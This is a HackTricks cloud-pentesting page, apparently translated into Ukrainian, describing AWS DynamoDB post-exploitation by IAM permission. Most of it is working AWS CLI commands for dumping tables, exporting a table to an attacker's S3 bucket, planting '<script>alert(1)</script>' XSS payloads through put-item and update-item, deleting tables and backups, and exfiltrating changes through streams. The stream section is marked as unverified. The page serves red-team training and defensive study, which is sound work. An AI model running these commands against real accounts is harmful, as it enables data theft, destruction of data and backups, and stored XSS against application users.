AWS - DynamoDB Post Exploitation
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
DynamoDB
Для отримання додаткової інформації перегляньте:
dynamodb:BatchGetItem
Зловмисник з цими правами зможе отримувати елементи з таблиць за первинним ключем (ви не можете просто запитати всі дані таблиці). Це означає, що вам потрібно знати первинні ключі (ви можете отримати це, отримавши метадані таблиці (describe-table
).
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці
dynamodb:GetItem
Схоже на попередні дозволи цей дозволяє потенційному атакуючому читати значення лише з 1 таблиці, якщо відомий первинний ключ запису для отримання:
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
З цими дозволами також можливо використовувати метод transact-get-items
так:
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці
dynamodb:Query
Схоже на попередні дозволи цей дозволяє потенційному атакуючому читати значення лише з 1 таблиці, якщо відомий первинний ключ запису, який потрібно отримати. Дозволяє використовувати підмножину порівнянь, але єдине порівняння, яке дозволено з первинним ключем (який повинен з'являтися), це "EQ", тому ви не можете використовувати порівняння, щоб отримати всю БД в одному запиті.
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці
dynamodb:Scan
Ви можете використовувати цей дозвіл, щоб легко вивантажити всю таблицю.
aws dynamodb scan --table-name <t_name> #Get data inside the table
Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці
dynamodb:PartiQLSelect
Ви можете використовувати цей дозвіл, щоб легко вивантажити всю таблицю.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
Ця дозволяє виконувати batch-execute-statement
, наприклад:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
але вам потрібно вказати первинний ключ з значенням, тому це не так корисно.
Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
Ця дозволена дія дозволить зловмиснику експортувати всю таблицю в S3 бакет на його вибір:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
Зверніть увагу, що для цього таблиця повинна мати увімкнене відновлення на момент часу, ви можете перевірити, чи має таблиця цю функцію за допомогою:
aws dynamodb describe-continuous-backups \
--table-name <tablename>
Якщо це не увімкнено, вам потрібно увімкнути це, і для цього вам потрібен дозвіл dynamodb:ExportTableToPointInTime
:
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці
dynamodb:CreateTable
, dynamodb:RestoreTableFromBackup
, (dynamodb:CreateBackup)
З цими дозволами зловмисник зможе створити нову таблицю з резервної копії (або навіть створити резервну копію, щоб потім відновити її в іншій таблиці). Потім, з необхідними дозволами, він зможе перевірити інформацію з резервних копій, яка може більше не бути в продуктивній таблиці.
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
Потенційний вплив: Непряме підвищення привілеїв шляхом знаходження чутливої інформації в резервній копії таблиці
dynamodb:PutItem
Цей дозвіл дозволяє користувачам додавати новий елемент до таблиці або замінювати існуючий елемент новим елементом. Якщо елемент з таким же первинним ключем вже існує, весь елемент буде замінено новим елементом. Якщо первинний ключ не існує, буде створено новий елемент з вказаним первинним ключем.
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S": "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
Потенційний вплив: Експлуатація подальших вразливостей/обхідних шляхів шляхом можливості додавати/модифікувати дані в таблиці DynamoDB
dynamodb:UpdateItem
Цей дозвіл дозволяє користувачам модифікувати існуючі атрибути елемента або додавати нові атрибути до елемента. Він не замінює весь елемент; він лише оновлює вказані атрибути. Якщо первинний ключ не існує в таблиці, операція створить новий елемент з вказаним первинним ключем і встановить атрибути, вказані в виразі оновлення.
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
Потенційний вплив: Експлуатація подальших вразливостей/обхідних шляхів шляхом можливості додавати/модифікувати дані в таблиці DynamoDB
dynamodb:DeleteTable
Зловмисник з цим дозволом може видалити таблицю DynamoDB, що призведе до втрати даних.
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
Потенційний вплив: Втрата даних та порушення роботи сервісів, що залежать від видаленої таблиці.
dynamodb:DeleteBackup
Зловмисник з цим дозволом може видалити резервну копію DynamoDB, що потенційно призведе до втрати даних у разі сценарію відновлення після катастрофи.
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
Потенційний вплив: Втрата даних та неможливість відновлення з резервної копії під час сценарію відновлення після катастрофи.
dynamodb:StreamSpecification
, dynamodb:UpdateTable
, dynamodb:DescribeStream
, dynamodb:GetShardIterator
, dynamodb:GetRecords
note
TODO: Перевірити, чи це дійсно працює
Зловмисник з цими дозволами може увімкнути потік на таблиці DynamoDB, оновити таблицю для початку потокового зміни даних, а потім отримати доступ до потоку для моніторингу змін у таблиці в реальному часі. Це дозволяє зловмиснику моніторити та ексфільтрувати зміни даних, що потенційно призводить до витоку даних.
- Увімкніть потік на таблиці DynamoDB:
bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
- Опишіть потік для отримання ARN та інших деталей:
bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
- Отримайте ітератор шард за допомогою ARN потоку:
bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
- Використовуйте ітератор шард для доступу та ексфільтрації даних з потоку:
bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
Потенційний вплив: Моніторинг в реальному часі та витік даних про зміни таблиці DynamoDB.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.